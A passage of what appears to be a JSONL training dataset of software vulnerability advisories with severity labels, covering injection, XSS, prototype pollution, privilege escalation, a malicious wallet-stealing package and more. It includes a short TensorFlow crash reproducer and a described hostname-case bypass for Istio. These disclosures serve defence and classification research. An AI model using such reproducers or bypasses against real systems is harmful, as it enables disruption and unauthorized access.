3.0.1  \nSwift 1.0.1\n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "text_raw": "personnummer/js vulnerable to Improper Input Validation\n\n[Severity: LOW]\n\nThis vulnerability was reported to the personnummer team in June 2020. The slow response was due to locked ownership of some of the affected packages, which caused delays to update packages prior to disclosure.\n\nThe vulnerability is determined to be low severity.\n\n### Impact\n\nThis vulnerability impacts users who rely on the for last digits of personnummer to be a _real_ personnummer.  \n\n### Patches\n\nThe issue have been patched in all repositories. The following versions should be updated to as soon as possible:\n\n[C#](https://github.com/advisories/GHSA-qv8q-v995-72gr) 3.0.2  \nD 3.0.1  \n[Dart](https://github.com/advisories/GHSA-4xh4-v2pq-jvhm) 3.0.3  \nElixir 3.0.0  \n[Go](https://github.com/advisories/GHSA-hv53-vf5m-8q94) 3.0.1  \n[Java](https://github.com/advisories/GHSA-q3vw-4jx3-rrr2) 3.3.0  \n[JavaScript](https://github.com/advisories/GHSA-vpgc-7h78-gx8f) 3.1.0  \nKotlin 1.1.0  \nLua 3.0.1  \n[PHP](https://github.com/advisories/GHSA-2p6g-gjp8-ggg9) 3.0.2  \nPerl 3.0.0  \n[Python](https://github.com/advisories/GHSA-rxq3-5249-8hgg) 3.0.2  \n[Ruby](https://github.com/advisories/GHSA-vp9c-fpxx-744v) 3.0.1  \n[Rust](https://github.com/advisories/GHSA-28r9-pq4c-wp3c) 3.0.0  \nScala 3.0.1  \nSwift 1.0.1  \n\nIf you are using any of the earlier packages, please update to latest.\n\n### Workarounds\n\nThe issue arrieses from the regular expression allowing the first three digits in the last four digits of the personnummer to be\n000, which is invalid. To mitigate this without upgrading, a check on the last four digits can be made to make sure it's not\n000x.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Personnummer Meta](https://github.com/personnummer/meta/issues)\n* Email us at [Personnummer Email](mailto:security@personnummer.dev)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "15ac22e991407339f8be", "text": "Command injection in nodemailer\n\nThis affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.", "text_raw": "Command injection in nodemailer\n\n[Severity: CRITICAL]\n\nThis affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "51da9f78fc4575cf6be1", "text": "Microsoft Exchange Server Security Feature Bypass Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for security feature bypass.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Exchange Server Security Feature Bypass Vulnerability\n\nAffected: Microsoft Exchange Server\n\nMicrosoft Exchange Server contains an unspecified vulnerability that allows for security feature bypass.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-20, CWE-434\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "889242c51140c78237ec", "text": "Prototype Pollution in lutils\n\nAll versions of package lutils are vulnerable to Prototype Pollution via the main (merge) function.", "text_raw": "Prototype Pollution in lutils\n\n[Severity: MEDIUM]\n\nAll versions of package lutils are vulnerable to Prototype Pollution via the main (merge) function.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-21", "split": "train"}
-{"id": "fac12a227a21499c8367", "text": "OS Command Injection in mversion\n\nThe issue occurs because tagName user input is formatted inside the exec function is executed without any checks.", "text_raw": "OS Command Injection in mversion\n\n[Severity: MEDIUM]\n\nThe issue occurs because tagName user input is formatted inside the exec function is executed without any checks.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "fab771c207160063120d", "text": "Iris ID IrisAccess ICU 7000-2 Multiple XSS and CSRF Vulnerabilities", "text_raw": "Iris ID IrisAccess ICU 7000-2 Multiple XSS and CSRF Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-07-26", "split": "train"}
-{"id": "df54aac566b4a4a82f20", "text": "Cross-site scripting (XSS) vulnerability in the user-profile biography section in DotNetNuke (DNN)\n\nCross-site scripting (XSS) vulnerability in the user-profile biography section in DotNetNuke (DNN) before 8.0.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted onclick attribute in an IMG element.", "text_raw": "Cross-site scripting (XSS) vulnerability in the user-profile biography section in DotNetNuke (DNN)\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in the user-profile biography section in DotNetNuke (DNN) before 8.0.1 allows remote authenticated users to inject arbitrary web script or HTML via a crafted onclick attribute in an IMG element.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "1fb0e893256e6d829531", "text": "Chromium Remote Code Execution in electron\n\nAffected versions of `ElectronJS` are susceptible to a remote code execution vulnerability that occurs when an affected application access remote content, even if the [sandbox option](https://electron.atom.io/docs/api/sandbox-option) is enabled.\n\n## Recommendation\n\nUpdate to electron version 1.7.8 or later.", "text_raw": "Chromium Remote Code Execution in electron\n\n[Severity: CRITICAL]\n\nAffected versions of `ElectronJS` are susceptible to a remote code execution vulnerability that occurs when an affected application access remote content, even if the [sandbox option](https://electron.atom.io/docs/api/sandbox-option) is enabled.\n\n\n\n## Recommendation\n\nUpdate to electron version 1.7.8 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "6464e3f8ecd0b5b81027", "text": "Cross-site scripting in Joplin\n\nJoplin allows XSS via a LINK element in a note.", "text_raw": "Cross-site scripting in Joplin\n\n[Severity: MEDIUM]\n\nJoplin allows XSS via a LINK element in a note.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "4cca9b9c389459fd0e50", "text": "Prototype Pollution in mpath\n\nVersions of `mpath` before 0.5.1 are vulnerable to prototype pollution. Provided certain input `mpath` can add or modify properties of the `Object` prototype. These properties will be present on all objects.\n\n## Recommendation\n\nUpdate to version `0.5.1` or later.", "text_raw": "Prototype Pollution in mpath\n\n[Severity: HIGH]\n\nVersions of `mpath` before 0.5.1 are vulnerable to prototype pollution. Provided certain input `mpath` can add or modify properties of the `Object` prototype. These properties will be present on all objects.\n\n\n## Recommendation\n\nUpdate to version `0.5.1` or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "0886bee9d7b2c248336c", "text": "Local Privilege Escalation in PyInstaller\n\n### Impact\n\nLocal Privilege Escalation in all Windows software frozen by PyInstaller in \"onefile\" mode.\n\nThe vulnerability is present only on Windows and in this particular case: If a **software frozen by PyInstaller in \"onefile\" mode** is launched by a (privileged) user who has **his/her \"TempPath\" resolving to a world writable directory**. This is the case e.g. if the software is launched as a service or as a scheduled task using a system account (in which case TempPath will default to C:\\Windows\\Temp).\n\nIn order to be exploitable the software has to be (re)started after the attacker has launched the exploit program. So for a service launched at startup, a service restart is needed (e.g. after a crash or an upgrade).\n\nWhile PyInstaller itself was not vulnerable, all Windows software frozen by PyInstaller in \"onefile\" mode is vulnerable.\n\nAffected\n- all Windows software frozen by PyInstaller in \"onefile\" mode\n\nNo affected\n- PyInstaller itself (except if frozen by PyInstaller in \"onefile\" mode on Windows)\n- software frozen in \"one*dir*\" mode\n- other platforms (GNU/Linux, OS X, BSD, etc.)\n\n### Patches\nThe problem is patched in commits 42a67148b3bdf9211fda8499fdc5b63acdd7e6cc (fixed code) and be948cf0954707671aa499da17b10c86b6fa5e5c (recompiled bootloaders). Users should upgrade to PyInstaller version 3.6 and rebuild their software.\n\n### Workarounds\nThere is no known workaround. Users using PyInstaller to freeze their Windows software using \"onefile\" mode should upgrade PyInstaller and rebuild their software.\n\n### Credits\nThis vulnerability was discovered and reported by Farid AYOUJIL (@faridtsl), David HA, Florent LE NIGER and Yann GASCUEL (@lnv42) from Alter Solutions (@AlterSolutions) and fixed in collaboration with\nHartmut Goebel (@htgoebel, maintainer of PyInstaller).\n\n### Funding Development\n\nPyInstaller is in urgent need of funding to make future security fixes happen, see <https://github.com/pyinstaller/pyinstaller/issues/4404> for details.", "text_raw": "Local Privilege Escalation in PyInstaller\n\n[Severity: HIGH]\n\n### Impact\n\nLocal Privilege Escalation in all Windows software frozen by PyInstaller in \"onefile\" mode.\n\nThe vulnerability is present only on Windows and in this particular case: If a **software frozen by PyInstaller in \"onefile\" mode** is launched by a (privileged) user who has **his/her \"TempPath\" resolving to a world writable directory**. This is the case e.g. if the software is launched as a service or as a scheduled task using a system account (in which case TempPath will default to C:\\Windows\\Temp).\n\nIn order to be exploitable the software has to be (re)started after the attacker has launched the exploit program. So for a service launched at startup, a service restart is needed (e.g. after a crash or an upgrade).\n\nWhile PyInstaller itself was not vulnerable, all Windows software frozen by PyInstaller in \"onefile\" mode is vulnerable.\n\nCVSSv3 score 7.0 (High)\nCVSSv3 vector CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\nAffected\n- all Windows software frozen by PyInstaller in \"onefile\" mode\n\nNo affected\n- PyInstaller itself (except if frozen by PyInstaller in \"onefile\" mode on Windows)\n- software frozen in \"one*dir*\" mode\n- other platforms (GNU/Linux, OS X, BSD, etc.)\n\n### Patches\nThe problem is patched in commits 42a67148b3bdf9211fda8499fdc5b63acdd7e6cc (fixed code) and be948cf0954707671aa499da17b10c86b6fa5e5c (recompiled bootloaders). Users should upgrade to PyInstaller version 3.6 and rebuild their software.\n\n### Workarounds\nThere is no known workaround. Users using PyInstaller to freeze their Windows software using \"onefile\" mode should upgrade PyInstaller and rebuild their software.\n\n### Credits\nThis vulnerability was discovered and reported by Farid AYOUJIL (@faridtsl), David HA, Florent LE NIGER and Yann GASCUEL (@lnv42) from Alter Solutions (@AlterSolutions) and fixed in collaboration with\nHartmut Goebel (@htgoebel, maintainer of PyInstaller).\n\n### Funding Development\n\nPyInstaller is in urgent need of funding to make future security fixes happen, see <https://github.com/pyinstaller/pyinstaller/issues/4404> for details.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-01-16", "split": "train"}
-{"id": "48edafa038d75bf597a0", "text": "CyberPower Systems PowerPanel 3.1.2 XXE Out-Of-Band Data Retrieval", "text_raw": "CyberPower Systems PowerPanel 3.1.2 XXE Out-Of-Band Data Retrieval\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-07-08", "split": "train"}
-{"id": "700b5d86178f6874e065", "text": "Softek Barcode Reader Toolkit ActiveX 7.1.4.14 (SoftekATL.dll) Buffer Overflow PoC", "text_raw": "Softek Barcode Reader Toolkit ActiveX 7.1.4.14 (SoftekATL.dll) Buffer Overflow PoC\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-09-21", "split": "train"}
-{"id": "f8380f096fd4c5c0dfc9", "text": "Prototype Pollution in open-graph\n\nThis affects the package open-graph before 0.2.6. The function parse could be tricked into adding or modifying properties of Object.prototype using a __proto__ or constructor payload.", "text_raw": "Prototype Pollution in open-graph\n\n[Severity: MEDIUM]\n\nThis affects the package open-graph before 0.2.6. The function parse could be tricked into adding or modifying properties of Object.prototype using a __proto__ or constructor payload.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "55f78e40342750903364", "text": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.activemq.* (aka activemq-jms, activemq-core, activemq-pool, and activemq-pool-jms).", "text_raw": "jackson-databind mishandles the interaction between serialization gadgets and typing\n\n[Severity: HIGH]\n\nFasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to org.apache.activemq.* (aka activemq-jms, activemq-core, activemq-pool, and activemq-pool-jms).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
-{"id": "73b0ef83c5f9858401de", "text": "Cross-Site Scripting in keystone\n\nWithdrawn: Duplicate of GHSA-7qcx-jmrc-h2rr", "text_raw": "Cross-Site Scripting in keystone\n\n[Severity: MEDIUM]\n\nWithdrawn: Duplicate of GHSA-7qcx-jmrc-h2rr", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-20", "split": "train"}
-{"id": "2d5c6a75c78d2210abc4", "text": "Improper Restriction of XML External Entity Reference in org.apache.syncope:syncope-core\n\nAn administrator with workflow definition entitlements can use DTD to perform malicious operations, including but not limited to file read, file write, and code execution.", "text_raw": "Improper Restriction of XML External Entity Reference in org.apache.syncope:syncope-core\n\n[Severity: HIGH]\n\nAn administrator with workflow definition entitlements can use DTD to perform malicious operations, including but not limited to file read, file write, and code execution.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-06", "split": "train"}
-{"id": "fe57385b4d63aa4a44fc", "text": "Reference binding to null pointer in `MatrixDiag*` ops\n\n### Impact\nThe implementation of [`MatrixDiag*` operations](https://github.com/tensorflow/tensorflow/blob/4c4f420e68f1cfaf8f4b6e8e3eb857e9e4c3ff33/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L195-L197) does not validate that the tensor arguments are non-empty:\n\n```cc\n      num_rows = context->input(2).flat<int32>()(0);\n      num_cols = context->input(3).flat<int32>()(0);\n      padding_value = context->input(4).flat<T>()(0); \n```\n\nThus, users can trigger null pointer dereferences if any of the above tensors are null:\n\n```python\nimport tensorflow as tf\n\nd = tf.convert_to_tensor([],dtype=tf.float32)\np = tf.convert_to_tensor([],dtype=tf.float32)\ntf.raw_ops.MatrixDiagV2(diagonal=d, k=0, num_rows=0, num_cols=0, padding_value=p)\n```\n\nChanging from `tf.raw_ops.MatrixDiagV2` to `tf.raw_ops.MatrixDiagV3` still reproduces the issue.\n\n### Patches\nWe have patched the issue in GitHub commit [a7116dd3913c4a4afd2a3a938573aa7c785fdfc6](https://github.com/tensorflow/tensorflow/commit/a7116dd3913c4a4afd2a3a938573aa7c785fdfc6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.", "text_raw": "Reference binding to null pointer in `MatrixDiag*` ops\n\n[Severity: LOW]\n\n### Impact\nThe implementation of [`MatrixDiag*` operations](https://github.com/tensorflow/tensorflow/blob/4c4f420e68f1cfaf8f4b6e8e3eb857e9e4c3ff33/tensorflow/core/kernels/linalg/matrix_diag_op.cc#L195-L197) does not validate that the tensor arguments are non-empty:\n\n```cc\n      num_rows = context->input(2).flat<int32>()(0);\n      num_cols = context->input(3).flat<int32>()(0);\n      padding_value = context->input(4).flat<T>()(0); \n``` \n\nThus, users can trigger null pointer dereferences if any of the above tensors are null:\n\n```python\nimport tensorflow as tf\n\nd = tf.convert_to_tensor([],dtype=tf.float32)\np = tf.convert_to_tensor([],dtype=tf.float32)\ntf.raw_ops.MatrixDiagV2(diagonal=d, k=0, num_rows=0, num_cols=0, padding_value=p)\n```\n\nChanging from `tf.raw_ops.MatrixDiagV2` to `tf.raw_ops.MatrixDiagV3` still reproduces the issue.\n\n### Patches\nWe have patched the issue in GitHub commit [a7116dd3913c4a4afd2a3a938573aa7c785fdfc6](https://github.com/tensorflow/tensorflow/commit/a7116dd3913c4a4afd2a3a938573aa7c785fdfc6).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ye Zhang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "d150c39e4e46624c020e", "text": "In version from 3.0.0 to 3.5.2 of Eclipse Vert.x, the CSRFHandler do not assert that the XSRF Cookie matches the returned XSRF header/form parameter. This allows replay attacks with previously issued tokens which are not expired yet.", "text_raw": "High severity vulnerability that affects io.vertx:vertx-web\n\n[Severity: HIGH]\n\nIn version from 3.0.0 to 3.5.2 of Eclipse Vert.x, the CSRFHandler do not assert that the XSRF Cookie matches the returned XSRF header/form parameter. This allows replay attacks with previously issued tokens which are not expired yet.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "98c97939497d08484772", "text": "FPE in TFLite pooling operations\n\n### Impact\nThe implementations of pooling in TFLite are vulnerable to division by 0 errors as there are no checks for divisors not being 0.\n\n### Patches \nWe have patched the issue in GitHub commit [dfa22b348b70bb89d6d6ec0ff53973bacb4f4695](https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "FPE in TFLite pooling operations\n\n[Severity: MEDIUM]\n\n### Impact\nThe implementations of pooling in TFLite are vulnerable to division by 0 errors as there are no checks for divisors not being 0.\n\n### Patches \nWe have patched the issue in GitHub commit [dfa22b348b70bb89d6d6ec0ff53973bacb4f4695](https://github.com/tensorflow/tensorflow/commit/dfa22b348b70bb89d6d6ec0ff53973bacb4f4695).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "de08530aee38747ba69e", "text": "Authorization Policy Bypass Due to Case Insensitive Host Comparison\n\n### Impact\nAccording to [RFC 4343](https://datatracker.ietf.org/doc/html/rfc4343), Istio authorization policy should compare the hostname in the HTTP Host header in a case insensitive way, but currently the comparison is case sensitive.  The Envoy proxy will route the request hostname in a case-insensitive way which means the authorization policy could be bypassed.\n\nAs an example, the user may have an authorization policy that rejects request with hostname \"httpbin.foo\" for some source IPs, but the attacker can bypass this by sending the request with hostname \"Httpbin.Foo\".\n\n### Patches\n* Istio 1.11.1 and above\n* Istio 1.10.4 and above\n* Istio 1.9.8 and above\n\n### Workarounds\nA Lua filter may be written to normalize Host header before the authorization check.  This is similar to the Path normalization presented in the [Security Best Practices](https://istio.io/latest/docs/ops/best-practices/security/#case-normalization) guide.\n\n### References\nMore details can be found in the [Istio Security Bulletin](https://istio.io/latest/news/security/istio-security-2021-008).\n\n### For more information\nIf you have any questions or comments about this advisory, please email us at istio-security-vulnerability-reports@googlegroups.com", "text_raw": "Authorization Policy Bypass Due to Case Insensitive Host Comparison\n\n[Severity: HIGH]\n\n### Impact\nAccording to [RFC 4343](https://datatracker.ietf.org/doc/html/rfc4343), Istio authorization policy should compare the hostname in the HTTP Host header in a case insensitive way, but currently the comparison is case sensitive.  The Envoy proxy will route the request hostname in a case-insensitive way which means the authorization policy could be bypassed.\n \nAs an example, the user may have an authorization policy that rejects request with hostname \"httpbin.foo\" for some source IPs, but the attacker can bypass this by sending the request with hostname \"Httpbin.Foo\".\n\n### Patches\n* Istio 1.11.1 and above\n* Istio 1.10.4 and above\n* Istio 1.9.8 and above\n\n### Workarounds\nA Lua filter may be written to normalize Host header before the authorization check.  This is similar to the Path normalization presented in the [Security Best Practices](https://istio.io/latest/docs/ops/best-practices/security/#case-normalization) guide.\n\n### References\nMore details can be found in the [Istio Security Bulletin](https://istio.io/latest/news/security/istio-security-2021-008).\n\n### For more information\nIf you have any questions or comments about this advisory, please email us at istio-security-vulnerability-reports@googlegroups.com\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-30", "split": "train"}
-{"id": "42b0e27f0a5941595d60", "text": "Prototype Pollution in algoliasearch-helper\n\nThe package algoliasearch-helper before 3.6.2 are vulnerable to Prototype Pollution due to use of the merge function in src/SearchParameters/index.jsSearchParameters._parseNumbers without any protection against prototype properties. Note that this vulnerability is only exploitable if the implementation allows users to define arbitrary search patterns.", "text_raw": "Prototype Pollution in algoliasearch-helper\n\n[Severity: CRITICAL]\n\nThe package algoliasearch-helper before 3.6.2 are vulnerable to Prototype Pollution due to use of the merge function in src/SearchParameters/index.jsSearchParameters._parseNumbers without any protection against prototype properties. Note that this vulnerability is only exploitable if the implementation allows users to define arbitrary search patterns.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "2b524f9ce428b17e13d3", "text": "Cross-site Scripting in django-unicorn\n\nThe Unicorn framework before 0.36.1 for Django allows XSS via a component. NOTE: this issue exists because of an incomplete fix for CVE-2021-42053.", "text_raw": "Cross-site Scripting in django-unicorn\n\n[Severity: MEDIUM]\n\nThe Unicorn framework before 0.36.1 for Django allows XSS via a component. NOTE: this issue exists because of an incomplete fix for CVE-2021-42053.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "e787031734f6c4b480fb", "text": "Radiant CMS vulnerable to Cross-site Scripting\n\nRadiant CMS 1.1.4 has XSS via crafted Markdown input in the `part_body_content` parameter to an `admin/pages/*/edit `resource.", "text_raw": "Radiant CMS vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nRadiant CMS 1.1.4 has XSS via crafted Markdown input in the `part_body_content` parameter to an `admin/pages/*/edit `resource.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-01-06", "split": "train"}
-{"id": "f3ddb905690e809de016", "text": "Open Redirect in apostrophe\n\nVersions of `apostrophe` prior to 2.92.0 are vulnerable to Open Redirect. The package redirected requests to third-party websites if escaped URLs followed by a trailing `/` were appended at the end.\n\n## Recommendation\n\nUpdate to version 2.92.0 or later.", "text_raw": "Open Redirect in apostrophe\n\n[Severity: MEDIUM]\n\nVersions of `apostrophe` prior to 2.92.0 are vulnerable to Open Redirect. The package redirected requests to third-party websites if escaped URLs followed by a trailing `/` were appended at the end.\n\n\n\n## Recommendation\n\nUpdate to version 2.92.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "789d7b8de6f648994a11", "text": "Malicious Package in bs85\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bs85\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "64a6af3b5954cd927d34", "text": "Log injection in SimpleSAMLphp\n\n### Background\n\nSimpleSAMLphp has a logging functionality that allows system administrators to keep track of the activity, errors, and statistics. Additionally, it allows users to report errors, shall they happen. An error report contains a report identifier, which is logged once submitted.\n\n### Description\n\nThe `www/erroreport.php` script, which receives error reports and sends them via email to the system administrator, didn't properly sanitize the report identifier obtained from the request. This allows an attacker, under specific circumstances, to inject new log lines by manually crafting this report ID.\n\nWhen configured to use the `file` logging handler, SimpleSAMLphp will output all its logs by appending each log line to a given file. Since the `reportID` parameter received in a request sent to `www/errorreport.php` was not properly sanitized, it was possible to inject newline characters into it, effectively allowing a malicious user to inject new log lines with arbitrary content.\n\n### Affected versions\n\nSimpleSAMLphp versions up to **1.18.3**.\n\n### Impact\n\nAn attacker may use this issue to inject logs messages into a SimpleSAMLphp log file, trying to trick or confuse system administrators. However, the attack surface is considered small, as the attack will only work with the `file` logging handler, which opens the log file in _append-only_ mode. This means an attacker cannot edit or remove existing log messages, and even if non-ascii characters are written to the log, the file will always be readable with a simple text editor.\n\n### Resolution\n\nUpgrade the SimpleSAMLphp installation to version **1.18.4**.\n\n### Credit\n\nThis vulnerability was discovered and reported by Frederic Vleminckx on January 23, 2020.", "text_raw": "Log injection in SimpleSAMLphp\n\n[Severity: LOW]\n\n### Background\n\nSimpleSAMLphp has a logging functionality that allows system administrators to keep track of the activity, errors, and statistics. Additionally, it allows users to report errors, shall they happen. An error report contains a report identifier, which is logged once submitted.\n\n### Description\n\nThe `www/erroreport.php` script, which receives error reports and sends them via email to the system administrator, didn't properly sanitize the report identifier obtained from the request. This allows an attacker, under specific circumstances, to inject new log lines by manually crafting this report ID.\n\nWhen configured to use the `file` logging handler, SimpleSAMLphp will output all its logs by appending each log line to a given file. Since the `reportID` parameter received in a request sent to `www/errorreport.php` was not properly sanitized, it was possible to inject newline characters into it, effectively allowing a malicious user to inject new log lines with arbitrary content.\n\n### Affected versions\n\nSimpleSAMLphp versions up to **1.18.3**.\n\n### Impact\n\nAn attacker may use this issue to inject logs messages into a SimpleSAMLphp log file, trying to trick or confuse system administrators. However, the attack surface is considered small, as the attack will only work with the `file` logging handler, which opens the log file in _append-only_ mode. This means an attacker cannot edit or remove existing log messages, and even if non-ascii characters are written to the log, the file will always be readable with a simple text editor.\n\n### Resolution\n\nUpgrade the SimpleSAMLphp installation to version **1.18.4**.\n\n### Credit\n\nThis vulnerability was discovered and reported by Frederic Vleminckx on January 23, 2020.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-01-24", "split": "train"}
-{"id": "82f1a6e0fd3bec3c59e4", "text": "Uncontrolled memory consumption in protobuf\n\nAffected versions of this crate called Vec::reserve() on user-supplied input. This allows an attacker to cause an Out of Memory condition while calling the vulnerable method on untrusted data.", "text_raw": "Uncontrolled memory consumption in protobuf\n\n[Severity: HIGH]\n\nAffected versions of this crate called Vec::reserve() on user-supplied input. This allows an attacker to cause an Out of Memory condition while calling the vulnerable method on untrusted data.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "afa61e44e0c14fe44d35", "text": "BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution", "text_raw": "BEWARD N100 H.264 VGA IP Camera M2.1.6 Root Remote Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2019-02-04", "split": "train"}
-{"id": "25e56856c0b047566995", "text": "HTTP Request Smuggling in Netty\n\nHttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an \"invalid fold.\"", "text_raw": "HTTP Request Smuggling in Netty\n\n[Severity: CRITICAL]\n\nHttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an \"invalid fold.\"", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-02-21", "split": "train"}
-{"id": "cb333073a8da05019da3", "text": "RCE in XWiki\n\n### Impact\n\nAny user with SCRIPT right (EDIT right before XWiki 7.4) can gain access to the application server Servlet context which contains tools allowing to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution.\n\n### Patches\n\nIt has been patched in both version XWiki 12.5 and XWiki 11.10.6.\n\n### Workarounds\n\nThe only workaround is to give SCRIPT right only to trusted users.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-17423\n\nIt's been reported by the GitHub Security Lab under https://jira.xwiki.org/browse/XWIKI-17141.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [our security mailing list](mailto:security@xwiki.org)", "text_raw": "RCE in XWiki\n\n[Severity: HIGH]\n\n### Impact\n\nAny user with SCRIPT right (EDIT right before XWiki 7.4) can gain access to the application server Servlet context which contains tools allowing to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution.\n\n### 